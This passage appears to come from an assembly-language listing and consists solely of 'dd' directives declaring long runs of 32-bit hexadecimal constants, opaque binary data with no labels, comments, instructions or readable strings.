20FEBCB3h, 2E4732D8h dd 4F687B09h, 62B55E06h, 9574183Dh, 0B60F2A60h, 0E281383Bh dd 378760Eh, 7ACFCAC0h, 42131390h, 36535FE9h, 995ED6ACh dd 0FFB87B9Ah, 8CE292h, 3E6D2A76h, 0E8AE681h, 0D11E6072h dd 0A2500FD2h, 29E93AF8h, 0BB43154Eh, 0ECF5201Ch, 0DA983580h dd 0EE134ADCh, 38C2E9C0h, 5066605Dh, 9702B6EAh, 96E50C5Bh dd 801C0806h, 552EE914h, 0D22F88CCh, 2AE84E83h, 680740BDh dd 53BF79A9h, 48B2E95Eh, 1385F732h, 230993Bh, 0A1634D46h dd 6BE92EC0h, 0C34A0500h, 0C159CF31h, 300760EFh, 48122822h dd 0E1690CC0h, 5689345Bh, 98588FFAh, 20F64111h, 0C860252Ch dd 6AFFFE6Ah, 6682DF3Eh, 0EB0E84B5h, 491ED6C5h, 2A3827E9h dd 0AE4F73B6h, 4AF0DC5h, 0E83B8004h, 0A29D8960h, 5FF02128h dd 5DA519F3h, 31087131h, 60D0C92Fh, 6880E585h, 90439FD3h dd 895F63D1h, 59C7215Ch, 8DF49BAh, 7202F03Ch, 0D73A06D8h dd 39BA2FAEh, 99FA7E43h, 0FC6FB956h, 0BA50B116h, 41E45BACh dd 0F75312A8h, 588EF33Ah, 1B711203h, 0B5E0F9ECh, 0F50B801Eh dd 46EF3056h, 7BF7F612h, 4FF86B06h, 6AB0E00Fh, 0F70177B4h dd 23135690h, 0CBC4F131h, 89280279h, 7058E9F8h, 0F2F24655h dd 520BBFB7h, 57A5A3C7h, 4FD36D93h, 5BEBB11Fh, 0C36C25Eh dd 667724F8h, 6F280033h, 0D1410DC6h, 65E1FCF9h, 2AAF4C1Dh dd 0F49004BCh, 5BAA30Fh, 0FE5E6839h, 1CD3FA67h, 94A86FBh dd 3F8D22EAh, 26B07Eh, 811732Dh, 680490CBh, 5BA3450Bh dd 4E9AE110h, 0FAEB282h, 0FEB03262h, 67CD5957h, 1C38D0F3h dd 7CC15011h, 35653236h, 133FB480h, 0E1C17A19h, 5BB064Ch dd 8E41C667h, 99A1C2AEh, 3608AAABh, 0C9984AF5h, 99EAA3DDh dd 1281717h, 401C16C1h, 880BB785h, 0CCEE5BFCh, 86C4801Eh dd 4BC47C25h, 6104506h, 0E8F0015Fh, 6BDEBE9h, 0FECA58BCh dd 0B266E8Bh, 0BE5D9694h, 0ED6E452Dh, 19DA04AFh, 15832096h dd 0C40D5BD6h, 0E920F007h, 940D865Bh, 0C17A4729h, 3EB1016Ah dd 63085392h, 99ABACD3h, 0D211A735h, 9B3B11Bh, 49D9FFE1h dd 27BFC243h, 0B9FB5916h, 0E7E6FB0Bh, 0FC792F4Ch, 596EEA80h dd 37E90380h, 6961B1DBh, 0DF652975h, 0A1687248h, 0BB311B5Fh dd 2B4857BDh, 0ED583F7Fh, 0D8A9BD78h, 0CB01CAD9h, 1E152FD4h dd 13061820h, 86AEF2Eh, 1044C86h, 0B8BF2DF8h, 0FD0525EDh dd 0BFD4F7C3h, 0D95201BCh, 0ACBA910h, 0BE8285Bh, 2CE0108h dd 5041AEBAh, 2EE3B461h, 0DEFE7E84h, 0F8B8163Dh, 46F40A89h dd 0B04C9A6Ah, 48F125AAh, 3F56055h, 11199F01h, 0BD4581ECh dd 62F436CCh, 0C3867AE8h, 28BCBB24h, 78F757DAh, 0B04B72A2h dd 0B14E13D5h, 172804BAh, 6EE614D4h, 0D2520F4Bh, 41F0F1BEh dd 617CD0A6h, 0C6E42AF8h, 80219659h, 69B55F9Ch, 669F5429h dd 80C8277h, 5A172114h, 34E67408h, 0A6F8BB66h, 80752041h dd 0BFF4846Eh, 2EA90AA8h, 6AB329FAh, 0DBC4D664h, 5F6DEEC2h dd 0B282ECD3h, 7FD3288Eh, 0E916A56Ch, 0CF5CFF5h, 0A7DF62DCh dd 7A73EE2h, 2D488400h, 0CA2593A2h, 0EBE07FB0h, 650231CDh dd 0ACE92752h, 0FC9DA7Ch, 60045C29h, 0E938C664h, 37FB5F48h dd 34CFE21Ch, 281209D1h, 40B0AFB4h, 0DC955AADh, 36EE0243h dd 3EE02D54h, 0FD125553h, 3C80D101h, 487D4912h, 160637A9h dd 1E68476Eh, 2508C6D0h, 17B8755Ah, 0F0B2015Ch, 931E7931h dd 7A81DD29h, 0E564D2BFh, 1EFE6960h, 0A94591A8h, 2CBAFE01h dd 5E48F0CBh, 0C1BA9605h, 81DAE915h, 0C069B4FFh, 0E07E05ECh dd 11E680E6h, 3276CCE6h, 96F970F9h, 0C65B2DCEh, 588F383h dd 595320BEh, 4B54A075h, 0C1257968h, 0D34C163Ch, 52C2CA9h dd 0FDCF39AEh, 0C29C046Ah, 80EFE272h, 199EE9F4h, 0B57274B5h dd 38DF04C5h, 8F5BF34Dh, 0CA3CE452h, 0E5E656D0h, 210F3D61h dd 0BDCB0C92h, 804F27A7h, 0F6814E39h, 7E2018A9h, 491C0C4Ah dd 0F8476425h, 1E4B3Dh dd 3482687Ch, 0E1970638h, 5A0009E7h, 210FE581h, 9E799E4Bh dd 0B218A298h, 0F28012FBh, 0CA06FBFEh, 0B704292Ch, 0C635054h dd 77ABCFF7h, 680718E5h, 7F0B6A92h, 290AADEEh, 8CDEE9C6h dd 5A881FBFh, 5E0B9AAEh, 2056664Eh, 1285CB4h, 2F2D9AC5h dd 855E92D5h, 0C2851F76h, 75B9A249h, 5C772ACAh, 82D5251Ah dd 0A433E939h, 70FE899Eh, 152ABF80h, 906D8E2Eh, 0E66E2000h dd 48CAE961h, 0CB9DCE4Bh, 1CDF2C6Fh, 0CB749538h, 65E91254h dd 8BE3AE13h, 0B3141016h, 94F94FF1h, 0C4A0A272h, 5394865h dd 0C717C580h, 3490B264h, 2598F49Fh, 5B2251F8h, 215A2745h dd 75C61A55h, 0B4B7AC22h, 2C9DB348h, 8411BE32h, 6C4DDF9Ah dd 0FB9AFD2Fh, 0DD685481h, 0C4F66803h, 104770Fh, 8429E2D3h dd 4FB150E9h, 9B2F613Ah, 68AE48A6h, 0B50A342Ch, 874D0DC0h dd 559FFA17h, 0BC2B0D5Fh, 8A67852Dh, 9BEE3ED4h, 1FC85B1Dh dd 8647B073h, 7FAA8244h, 0D517A1E7h, 25406F08h, 0F33AE0F7h dd 0E5DBE7A0h, 0D5C30900h, 76CBB050h, 0B5587028h, 782E9840h dd 0F6F14EB5h, 0CD9F5AF8h, 64CFE52Ah, 0AEB805CDh, 0C13D1904h dd 0FFC206E0h, 2040F2ABh, 7C9D8952h, 8D471ECEh, 2F20B38Ch dd 9446292Ch, 34D72F66h, 85969770h, 71C226BEh, 9185785h dd 0CCE0B305h, 59E80B4Eh, 3C5E0740h, 35DE6855h, 85D5800Eh dd 0BD903D10h, 2594AB5Dh, 0BB7DC59h, 0F166796Eh, 3D0CF30Ch dd 0B6A2F822h, 0F099273Eh, 233B21h, 0C1F702AAh, 0D4999B43h dd 845D8777h, 0DA290E98h, 0AEAFF3E5h, 3579ECE2h, 0B11227D3h dd 1FBF2E7Ch, 5EF78BB7h, 6E9CE81h, 3E233598h, 290BC5BCh dd 0AC0959CFh, 0EFD4E9F5h, 58EFE83Eh, 0D14E25B2h, 0A52D4AF5h dd 86583F5h, 0A227844Dh, 2A57F644h, 180E6438h, 55E7C06Bh dd 0E8609272h, 2CDD02BDh, 0EF313DC5h, 40A4A74h, 0B644F7CDh dd 0FFC60482h, 327C3CE0h, 8AF8555Eh, 916DE0ADh, 0F3887CC2h dd 0DE5C5F5Ah, 9A5480C5h, 6ED22471h, 1CF92816h, 410D675h dd 27F4358h, 560DC068h, 3296F07Bh, 736E724h, 6049761Eh dd 8A95C0Ah, 20134BB3h, 0C07204ABh, 36A887EEh, 0BD507002h dd 1CBF60C8h, 57AD81BBh, 0F3845539h, 4B06ED50h, 296104ABh dd 8C2CAEDFh, 0C941CCh, 167EE1B6h, 0ED004390h, 0A7BF7C44h dd 815CE4E9h, 8A286E5Dh, 0F554BF5Fh, 8492EFCAh, 40AFD957h dd 46190DECh, 0E648C134h, 0A202D6Dh, 0F2A6D35Bh, 74BE3E0Bh dd 61EBC266h, 18AB5A05h, 21BCCE9Dh, 0AC0F153Fh, 549FB787h dd 606ECC7Bh, 3294350Eh, 48252589h, 0E00B0154h, 0F5828607h dd 9E9E9870h, 44DAA7C7h, 57A9BF27h, 7B6CFC39h, 0F1E92430h dd 4DE5BDE5h, 0E8431B13h, 0C2F1295Bh, 68AD498Bh, 0CEEF84EFh dd 6F210943h, 56ECF51Ch, 0D95FA082h, 9B47B99h, 91F17F13h dd 0DE82519Ah, 2BEB8109h, 21B31A5Eh, 5EAF2FB0h, 0CBCED8C8h dd 3613F3C2h, 17B837E8h, 2CE07B4h, 0A1A049E9h, 0E64CBDBAh dd 0D2F70F12h, 4A303EACh, 5A0D7146h, 4F7BC958h, 4177F69Ch dd 0F4F3E9FCh, 4FBC88BBh, 8612CEA4h, 151315FDh, 0E431FAE3h dd 0AD2B502Ah, 2997C433h, 0C38B5C0Eh, 51315300h, 7DB03DD5h dd 16D7FEC8h, 9EEFC5Ah, 0DEE828D0h, 4A26BBh, 80C5B450h dd 0E917ADE4h, 4333A2E6h, 0B353F866h, 35489032h, 88F6D5FAh dd 0E6414618h, 0D377BC3Bh, 2AF92EEh, 0AD56AC0Eh, 0FDB400D9h dd 45535507h, 320E3352h, 3C6C642Eh, 56444107h, 98495032h dd 0FC544E0Dh, 0A54E34Ch, 0E985013Fh, 686EA0F0h, 16A0B112h dd 0DE41D202h, 346640FDh, 3715C8A1h, 24A26F42h, 0A3B6212Dh dd 24102312h, 81989A4h, 0FA5443Ch, 22B94284h, 0AF2D0005h dd 0F2E1BE10h, 9C0079CBh, 56338536h, 0E83A7Fh, 9FF1CC0Bh dd 795E5266h, 15F24400h, 0CEABFDBCh, 63B5000Ah, 196B5086h dd 7F00850Dh, 58088799h, 0F2CB2ADh, 0C9EBE255h, 0AA02AEC0h dd 92039553h, 0D1FDE413h, 77639270h, 2222440h, 0F057E500h dd 441127C8h, 7D290092h, 0D7B2F625h, 9100BF1Fh, 0E52DD13Fh dd 0B50B8DFh, 714E37D3h, 116B00F7h, 3E329705h, 0CD811BA0h dd 37F430E7h, 0F33BDCFBh, 6BF8ED1Eh, 4D2A3DC0h, 1D893584h dd 80519931h, 3A176952h, 41001F9Ch, 58A50EA4h, 5B23311Bh dd 0C389C065h, 5406A619h, 0F615C77h, 0ECC9006Bh, 0A17ED0E9h dd 35008736h, 0E3F4BCFCh, 0AB88DAh, 64419326h, 1CF94B74h dd 0AF01BA00h, 2F151BA3h, 4396A088h, 12E10548h, 4BF7C4h dd 31171D72h, 513BF1E8h, 0EEBB45h, 0E68682E2h, 0EA38A57h dd 40993D48h, 80C86020h, 9A0125B3h, 6E4D8552h, 86D82F3Fh dd 5F12007Ah, 595CCBCFh, 80315C1h, 51373DCEh, 65803BA4h dd 8131E680h, 0CD6CDD12h, 98573500h, 3B3EA587h, 0E2432D51h dd 9646E200h, 0FA00D729h, 0B592E4D9h, 4C9E1Dh, 153666Fh dd 0B80AB324h, 77397F01h, 2E0B5D60h, 0C45A20h, 7CCEF1E7h dd 3284379Fh, 989E260Ah, 0C68483B2h, 3E2364CBh, 13DB23E8h dd 5F5445ECh, 0C5FA7384h, 0E04ADF6Eh, 0FDC216F3h, 0CC360065h dd 0F8A417BFh, 0D101ECEBh, 4D0DF125h, 42C0146Ch, 0F3E200AFh dd 93C21AC6h, 0EE043E27h, 53C0FEEDh, 0D7D193h, 17ECA57Dh dd 0E0390740h, 0DDA94500h, 0F4C81F86h, 0C37E97h, 9C2A4E8h dd 754C51F2h, 39FFB81Fh, 2E5DDA40h, 7708B323h, 0F6C18B6h dd 5BF3CEC2h, 3B0D1309h, 8073097Eh, 0EEEAB761h, 0A77F07D1h dd 0F61E70D0h, 2C7D689Ah, 4A558400h, 7785318Eh, 0CEBFA923h dd 439048h, 0B4605D76h, 0B5232D5Ch, 0BBC10906h, 6210A8h dd 0AB0EC794h, 0F478A7FFh, 0AD84CC1Fh, 0D4D12C80h, 4F389F48h dd 0A6BC85h, 9CDAABAh, 29D6AB2h, 0D2DA8635h, 41D5E6CCh dd 3ADCFABFh, 1FFB000Bh, 45905DB1h, 702CC874h, 6001CEAh dd 0A3F01858h, 0F38B002Eh, 0A02AA5ABh, 30FA5DFAh, 0BD1BE800h dd 5D3B002h, 60E00BAh, 6762FE2Fh, 33E8CBC2h, 0DAE281Eh dd 90FCCAC1h, 25E81D38h, 427A97A7h, 0E5B48h, 0CD1F9E35h dd 0D9E2F0h, 8E2BAA87h, 45785F3Ch, 0FEBAF300h, 469825B2h dd 51680069h, 9B622FFh, 0FC00DAB7h, 0D9616DBFh, 9089EDD3h dd 601113Bh, 6A77C09Fh, 12A24E6Bh, 4EAE949Ah, 4DE0C237h dd 7E8B3786h, 0B7635800h, 949AD5Fh, 3C501DA8h, 0E9AECC1Eh dd 6412122Eh, 321CF002h, 884CE36Dh, 34A1715h, 7B832F8Ch dd 5D3B8F75h, 0B4E381A3h, 0F8D92DA9h, 0BDD320h, 0FF6D7925h dd 393F074Fh, 835349h, 704D8A67h, 14A3A9D8h, 0FA3B3A9Dh dd 6B4812h, 0B74FA7C3h, 1B0F8965h, 7E252B73h, 9A5DF940h dd 0C928C3h, 6AF1CEB9h, 0E38FB73Bh, 0F6BA9D00h, 0A5C75E19h dd 77EE00E5h, 0E7F2C5DEh, 8A302710h, 6F9A320Ah, 5C8B09B5h dd 0B36081F6h, 6F421EEh, 0D3025A09h, 0BEC90ECh, 573D3343h dd 0BDB96BB5h, 88F1A4D7h, 0C55D8580h, 4D94A67Dh, 0B53DAC22h dd 99061Fh, 0FE040A39h, 0DECC23B3h, 90BDEE81h, 0D1580086h dd 144337EAh, 3074CE3h, 0DE32D36Bh, 1587B055h, 951FD81h dd 80E0DCF4h, 9E004A72h, 347C2492h, 0B0FC392Eh, 0FB9ACF07h dd 7A5EA800h, 5B54AD45h, 0D5E985F0h, 937DD8A4h, 93BA60EEh dd 0AB14C801h, 66577C59h, 509B37D8h, 0E49020h, 31A683D5h dd 0B7013A8Ch, 0DFDEF902h, 4821B08Dh, 54506F4Bh, 4B49AFEh dd 341A20A8h, 4847808Bh, 1291E64Dh, 88F60038h, 0C2C890D8h dd 609EAADCh, 3939991h dd 0E2D7FECBh, 87EA6FB3h, 72F0BC0h, 49F2BF3Bh, 912E048Fh dd 4280D8E5h, 0EB73F2Ah, 730B4995h, 0C06B7884h, 9FAD97F0h dd 3F220h, 0C719A636h, 82D4E9EAh, 0B12DA524h, 0F1437680h dd 0FAC314h, 67496FA8h, 1EFB4D70h, 0D7CCB360h, 6CBE01h dd 2274478Fh, 0A2888E16h, 0BBB6DDC2h, 40B54A54h, 24C7F4C7h dd 401F2E98h, 88348B4Dh, 0AD5D7B05h, 0E1079524h, 0D62177DBh dd 8160B67Eh, 5C289202h, 25024D85h, 4D13E2FDh, 0E6A414E0h dd 0AB161513h, 0CC7ACD01h, 0C1202E9Ah, 0FD132066h, 877D40h dd 0DEF80332h, 0B72531DDh, 3C815200h, 99E87990h, 0B2890C09h dd 0E7AC8F27h, 3B81A00h, 8CD0FF57h, 496A489Dh, 398BB300h dd 0CC79D180h, 79A05E4Dh, 4FB08260h, 16B48149h, 13E8E91Fh dd 89AC0049h, 0B6625B7Ch, 97C65E05h, 7DD20853h, 0B98160D6h dd 0FA9502ADh, 650977FFh, 0A6F003E0h, 4061000h, 8750363Ch dd 0E964EE31h, 0FED56DD8h, 0B2FA0322h, 86FEE4EAh, 0AE121E3Bh dd 0D7051DBBh, 0D780DF27h, 1E0C24C1h, 1A6EE16h, 9F76BEFDh dd 3B58E489h, 50B1C00h, 0C45C31Fh, 139033h, 7F573444h dd 0B7B95E3Ch, 6A0B3D98h, 0C1DA7280h, 52604EF0h, 0BD1EEDFh dd 15BD9AECh, 5B5E93A0h, 0AB192C09h, 7FB4C012h, 133670h dd 0CC1E9B36h, 84D6E9EFh, 982FA724h, 0A0A62E03h, 1880B4BAh dd 16CD3CEh, 0B1F9A513h, 208829ABh, 4D2E7572h, 87906005h dd 3BA00E8Eh, 38E0639Dh, 34B6C101h, 0BC765C62h, 0C08A249Dh dd 13EA32CAh, 64014885h, 7C823592h, 229DBB96h, 0BA9AE8AAh dd 0FC09006Dh, 1E03E1DAh, 3E06A4BFh, 5D212F19h, 11CB02FBh dd 547F5CAEh, 1E981F50h, 0E1F4D100h, 2EA986D8h, 43D008Fh dd 0E2DBFCB4h, 1E0EB390h, 376C499Bh, 0B2974Bh, 1D23AB4Eh dd 8A8D6137h, 4EE9504Bh, 9E38007Dh, 1CF3CB1Dh, 0FB970030h dd 0E58AE1DCh, 0C20110C6h, 283261F9h, 123013BBh, 152DB0D8h dd 0ADB8A8AEh, 0C9FE03Ah, 9DE541FFh, 9DE9CFD5h, 88C0FD1Bh dd 0D7417049h, 0A2350090h, 80EDC91Bh, 0B33B8AD2h, 81A400C5h dd 0ECF22193h, 56E830E6h, 48F41C3Ch, 3863B4Ch, 9EA46C74h dd 0CC1D3BB8h, 0D5307584h, 1EEBC101h, 32189D57h, 432072C0h dd 0F7C2893h, 0FADE812Eh, 4BDCA9A7h, 838E8420h, 200E6853h dd 0A1A58949h, 74A3D503h, 24F8220h, 8057246Ch, 1BC0913Dh dd 440793A0h, 0F75BCD79h, 6AC3A125h, 0F5250034h, 0A6335D1Eh dd 0FE00A0E2h, 6A1765CFh, 2CA7E3C7h, 9A4A8Dh, 1847745Eh dd 630C3008h, 109F4B6Eh, 0F3CA3E0Dh, 6C9E3A86h, 0EE075D67h dd 0A52EA42h, 28563C41h, 0F4E3DE80h, 0FFC51DC9h, 30F7181Ch dd 0D8424840h, 26A71140h, 716379Ah, 51F208C9h, 0E82F5F16h dd 713F1DB5h, 961B8F5Bh, 0E236001h, 675A4046h, 706E5A9Ah dd 0F2CB0C17h, 0F1C8A001h, 96C92B18h, 43432E1h, 402AD2B5h dd 9526B004h, 6B00A3E9h, 44EE191Ch, 4CE0A2h, 1D06728Ah dd 114D73E3h, 14C425h, 0E0BD0F1Bh, 19C530F6h, 6CD0466Bh dd 0C0162E00h, 40DCB3FBh, 4213FB7h, 365F0D0h, 98AE4E88h dd 63CB4930h, 9D20B7E8h, 199F10Fh, 33DB6055h, 396E5EBh dd 6C166F6Dh, 0A8A0F244h, 0AA00B0F8h, 1C84EC3Eh, 797A264Eh dd 0BEA43D72h, 0D23BA63Dh, 66707B80h, 3F450D55h, 1AED5933h dd 616B86Dh, 5B57072Eh, 0D0C21AAFh, 620EAD29h, 25023290h dd 75F0BB2h, 7650D8h, 3036FE06h, 1CA72C4Ah, 0C3FE5E77h dd 4F47DE0Eh, 0FE9C001Eh, 2B9046h, 0A33401D9h, 0C9166E1Ah dd 4B00F00h, 64727DACh, 9EAB2957h, 0F95D31E6h, 0FD2E60DCh dd 78791901h, 0EB0141E3h, 35820C4h, 92486C52h, 0D2B8801Eh dd 0EDC47ECh, 0F8000E24h, 6713A62Bh, 0D0E0000Fh, 5B28E3F3h dd 0BB30417Ch, 0C1E92DD5h, 6F7D1229h, 0C661C014h, 2B144017h dd 58BBCA1h, 0E46A5056h, 0B97E8783h, 0EFE88FBEh, 0F5CA0012h dd 219A3C49h, 70006875h, 3B96A34Fh, 48C5D27Eh, 0F22E0212h dd 1F2C051Eh, 4A7F80B6h, 87073388h, 0B864597Ah, 0F5746862h dd 0C278478h, 0BD457D24h, 276ED0CBh, 2F7E47CBh, 893B25C7h dd 7428F028h, 6B9A3B22h, 13AAE903h, 0E8E4972h, 61824C03h dd 3CE89B6h, 0D76C62Ch, 0C045BCFh, 34BA2095h, 5A9A7CEFh dd 428F560Bh, 77A94C08h, 1775958Bh, 0D55F8B4Fh, 0EF172E81h dd 3B8C4137h, 34720A8h, 0E007FD90h, 4A2DBD8h, 4B07407Eh dd 18890E66h, 4F10E85Ch, 8F0013BAh, 0AA7FE1B6h, 7C25946h dd 3DD62F36h, 0BB66D0BFh, 5A0A8A40h, 0B1EDF380h, 0C6AA208h dd 2470CE8h, 0A1622F03h, 0A887048Ah, 1F4E89C9h, 0B0800F23h dd 585B5025h, 10ABF48h, 0EF811C74h, 0C803776h, 8B06CF80h dd 0F5C600Ah, 0E935630Ch, 980B0011h, 0A66BA53Bh, 0F5071053h dd 8E779A70h, 808F0DC0h, 0D061500Ah, 0A4D104B1h, 0FBF08B57h dd 87351BC0h, 0C40BFA3Ch, 847A444Bh, 0CCA300B3h, 0E0C08DFh dd 88EC3CC0h, 56667F4h, 897441B8h, 381C400Ah, 0D33A316Fh dd 57E07502h, 0D75B1563h, 0BE664C01h, 6075FA03h, 4B850FE2h dd 0F62DA496h, 0AD5BD400h, 12B2ED58h, 85040083h, 285D4095h dd 34F08926h, 688963Eh, 7C6C1225h, 6E833C08h, 0F8C1921Fh dd 218B9799h, 0FB6BD0EDh, 311B860h, 0D0215842h, 353C1CC8h dd 11286C98h, 460D6384h, 812D8992h, 0AEC33E44h, 0A5110138h dd 0AA13B850h, 7C25001Ah, 0E4A10C3h, 32499915h, 0A5233702h dd 504ADF90h, 2DC80640h, 109844FBh, 19BA8900h, 9B750A97h dd 7911B887h, 11E0CF62h, 27C5A5h, 0D8E86584h, 3F615D08h dd 170D5110h, 0F9BA8180h, 0E62C939h, 1649481Dh, 56AE013Eh dd 117D08A7h, 0C12E35FCh, 25AA9138h, 0F04D61BEh, 0D3F08D54h dd 0FD108560h, 18160A1h, 6E57DF40h, 0E304C855h, 78E0B1ABh dd 5A7CDA5Bh, 14835628h, 79523Eh, 9D2549C6h, 0E98B5A43h dd 50A862ECh, 0A39CFCFh, 2E798318h, 3FE508ECh, 0D32B9980h dd 10D2B057h, 6229133Bh, 9D5B90h, 0DC3E209Fh, 3892800h dd 87DB6DF9h, 21F361E2h, 611BF712h, 11200F71h, 0AC90D92Dh dd 76B6809h, 20240027h, 998DE1D5h, 8587360Ch, 0C0180869h dd 0D57B4A21h, 0BA1A8DF0h, 1588CFFh, 160D56F8h, 0DD32C050h dd 9B7F03C7h, 932928D7h, 2C6308BEh, 0C8D55421h, 0E6C1EC0Dh dd 2B0B0310h, 0DFD0FC85h, 9C8042DAh, 0A89BC28Dh, 83F460D1h dd 0C9128F47h, 2C2428ECh, 466F0545h, 0A7EAE61h, 98F4A6F0h dd 676A2140h, 30BF4600h, 6E72BE1Dh, 0EDA411AEh, 95640039h dd 748EB40Ch, 3805000Eh, 0A6A7DEEh, 0EA00B8C3h, 6D4D7201h dd 0B0138Dh, 0E786CD5h, 0A716A6CFh, 1F66FF3Bh, 10876AF7h dd 2354B983h, 0DCA66080h, 0AADE126Fh, 386C046Bh, 230E054Dh dd 0CBB18447h, 594277E0h, 0FA89004Ch, 0E6179234h, 1C9045D0h dd 0F85538CCh, 0B4F65303h, 0B9C058A7h, 30E5A05Eh, 0F019220Eh dd 0DF0053D9h, 0A25FD751h, 3EB6DDh, 0FC02D212h, 0EDE372B5h dd 7E00DC91h, 0AD231591h, 354204B1h, 8122928Fh, 0DC79D227h dd 0E761FFAh, 0CA8C8650h, 0D40662E8h, 0CDC04BC3h, 44A24C40h dd 0A2FA771Fh, 0E85EA302h, 43580C6Ch, 0D493FCD0h, 0C5210099h dd 6B1E856h, 0CF12B02Dh, 9C183320h, 849C3448h, 1FC39200h dd 2CDF4E7Bh, 56D300F5h, 5ED2D08Bh, 0E3074334h, 0B4217754h dd 0DB657D81h, 6A7FC8h, 0C7490804h, 7841FCA7h, 2800EAF0h dd 3007ED7Ah, 0A035C8CFh dd 7D7D1E38h, 882E5486h, 0DD9B0042h, 0A6205352h, 0FA34A8A9h dd 0B0409187h, 759334D2h, 8890D872h, 78D8E935h, 0DC260D10h dd 50864029h, 3F980AC7h, 0FEDD0603h, 0A01FD11Bh, 18602F64h dd 0C08069A1h, 6D400BB9h, 0A07092B0h, 18F7E10h, 0E7FAD125h dd 520C4A61h, 4840E3A4h, 5C1FE4F0h, 0A02AA7AEh, 7EA11000h dd 340A99BCh, 0B989609Dh, 1E22C10Ch, 0B8185090h, 531990FBh dd 619B004Eh, 0A48218DDh, 0CFEE6EA8h, 0B854B20Eh, 0A9AB83CCh dd 0ED4F05Fh, 18D9C021h, 3913F4EAh, 89588D00h, 0B7D44356h dd 44E52C2Ch, 30FD2400h, 0B85E960h, 5C615501h, 1A38A7B0h dd 0ECD3A889h, 3F4E4010h, 0FB532500h, 1F41F62Fh, 2D520030h dd 0BEF2EDE4h, 0E9746A84h, 0E2C9D601h, 436298Dh, 269582F4h dd 31860E1h, 0F4EE6C7Fh, 1B0D39B8h, 0E489A9C0h, 0F15D320h dd 7036DF7Ch, 5B493860h, 5A1EE165h, 6093FBh, 0B6EDC11Ah dd 0DCAD88C6h, 510BAF0Fh, 91062A4h, 501C4381h, 937C1868h dd 0E8630174h, 18800C71h, 5BCA8898h, 0F344E800h, 739D286Eh dd 0CFC8006Ch, 6585A45Ch, 1E1D8FE9h, 0D8F0E472h, 4B46E0h dd 66EB3D31h, 0C2919609h, 1A2D7400h, 9721C42Bh, 9C993134h dd 24136B61h, 78ECC54Ch, 4C7BFC01h, 805C2094h, 0E359ECh dd 0C2E98237h, 54E2FD3Fh, 93FE70F2h, 0A6A55202h, 411A5EC1h dd 0C3F5240Ch, 45C2FC60h, 4842A484h, 82C7E0C0h, 22EF469Bh dd 0D8573C2Eh, 83F0A69Ch, 0E53ABEB9h, 24D0D3C8h, 91055EFAh dd 0F7BA8FDBh, 4862C092h, 0FD40464h, 6F3FDD56h, 880C9D49h dd 5C2EDE19h, 0E8C1486h, 73E6924h, 938C51D4h, 9AB25364h dd 14896E80h, 0A8026139h, 0E30D497h, 7C093125h, 3AEA7F17h dd 4BCC5036h, 0BAF34300h, 0E61ECF16h, 526C2500h, 852665C7h dd 0B08D54FAh, 0AF3A4C97h, 332A6D00h, 0E41581BDh, 8A52C501h dd 8D926C26h, 0D8505462h, 0A665004Dh, 0DAB1A746h, 0C0B0A5F4h dd 88018F5h, 818DDED5h, 474020C4h, 38A9D578h, 8EAC3100h dd 11480D0Ch, 3A6076Ah, 308F1E15h, 37F2C18Ch, 4CA4DCA2h dd 24B08707h, 860E0B0Ch, 20167Ch, 0F131BD8Dh, 0BED562D1h dd 79336809h, 925C8167h, 60402993h, 9AFC1CD0h, 2494A3A0h dd 11049139h, 0C7E1875Ah, 33F79BA2h, 0D95847B4h, 32F0C497h dd 4C22108Eh, 0AF002A42h, 183BAEF0h, 9E74B90Ch, 650C489Ah dd 893E8F92h, 4927600Eh, 638AA3CAh, 8060AA39h, 17E5736Ah dd 0D5BA5Ch, 0C9F4047Fh, 0D36C998Ah, 0D8B06401h, 0A586ED39h dd 0E2785830h, 9845123Dh, 566C4D70h, 7BFC4C59h, 851C3B00h dd 0F4900536h, 8AE000D7h, 18734DEFh, 0C1180ED8h, 7DA815AAh dd 0C910163Bh, 0EDD80340h, 5040136Ah, 58BBD4C0h, 5D466B01h dd 3A185EAEh, 636688h, 9DD6D946h, 0F3DA0F5Bh, 688B448h dd 36EDCF0Ah, 0C83B3B29h, 556500FEh, 20C6C203h, 0E500CFAFh dd 0D62D7C63h, 5CBB926Ah, 0E8B7A0F4h, 5F466DC0h, 486E52AEh dd 46656880h, 0C9A02285h, 48C054BDh, 552308C2h, 9F50094Fh dd 2C00320Ch, 0EC6002EBh, 0AB134212h, 0C8208D5h, 5D7C48F7h dd 2BE0695h, 21190DF9h, 0B6AF3901h, 85CE6C16h, 0BE198E4h dd 8270623Dh, 59FCA8B0h, 90BCD00Fh, 4292848Ch, 96E5B20Fh dd 76D8883Fh, 5D01C09Bh, 500C6BE8h, 0C488A018h, 0FFE80055h dd 58F8645h, 413F4EDAh, 0AA8D045Bh, 0CB49CCFh, 6313018Eh dd 2EAEFD0Eh, 0CC2821A7h, 78C926B8h, 8DFE02E9h, 9DD4E0E4h dd 46212540h, 2C23081h, 89B00F4h, 18476B4Dh, 0D4DFB019h dd 0CD030E45h, 81DA5F61h, 91D1804Fh, 17F1E8Ah, 53BC9AEh dd 138500A0h, 6601EF69h, 57671134h, 0A4571F0Dh, 0B13EF371h dd 3A86BDD8h, 9800BB14h, 5DDC6374h, 44039D84h, 309FAE64h dd 0E3B80C06h, 2589B113h, 1D209B0Ch, 465A02Bh, 13439D86h dd 63F4B4A8h, 0E2910C0Ah, 7F02BC24h, 50B54095h, 9A040550h dd 0C6C1061Bh, 6FB020DAh, 78549C18h, 4034BC48h, 44FEAE16h dd 104872EFh, 2413C9C6h, 0A8E801E6h, 811E64CFh, 3C788320h dd 204FD662h, 81C66711h, 1D80CF4Eh, 63C40E01h, 0C54A00F8h dd 7831DAD5h, 21C10A69h, 82AC0A0Fh, 0B19FC28Fh, 6C6AD481h dd 0C3198009h, 2269996Dh, 0BAD210A6h, 0DD0E1372h, 109ED109h dd 0C384E370h, 22B0D308h, 7AD9F6D8h, 0FC9809E2h, 0F856200h dd 84D00863h, 8A78C3h, 9AA149E7h, 0A9389D6Dh, 8DA43B50h dd 199B353Ch, 87102A45h, 2A92AC30h, 0CD42B84h, 2770C72Eh dd 0B8C4CBE0h, 950286D7h, 0B0E00572h, 8780033Dh, 4BA59A1h dd 438CDB00h, 0D5E4D216h, 0C85E7C00h, 0BDEF90E3h, 588907FDh dd 8083EBEDh, 0D27DE1CFh, 0ECE95B98h, 64780BCCh, 9003E979h dd 8E0FC561h, 6344A05Bh, 0F1B6075Ah, 1E7018Bh, 30CAE916h dd 0B4005B3Eh, 0B65D84EFh, 5647DFEh, 5887EBC4h, 7382921h dd 858C87D6h, 31182AC3h, 0F39208FBh, 0B080F1E1h, 5E89DCD6h dd 1600D9F0h, 83D5C402h, 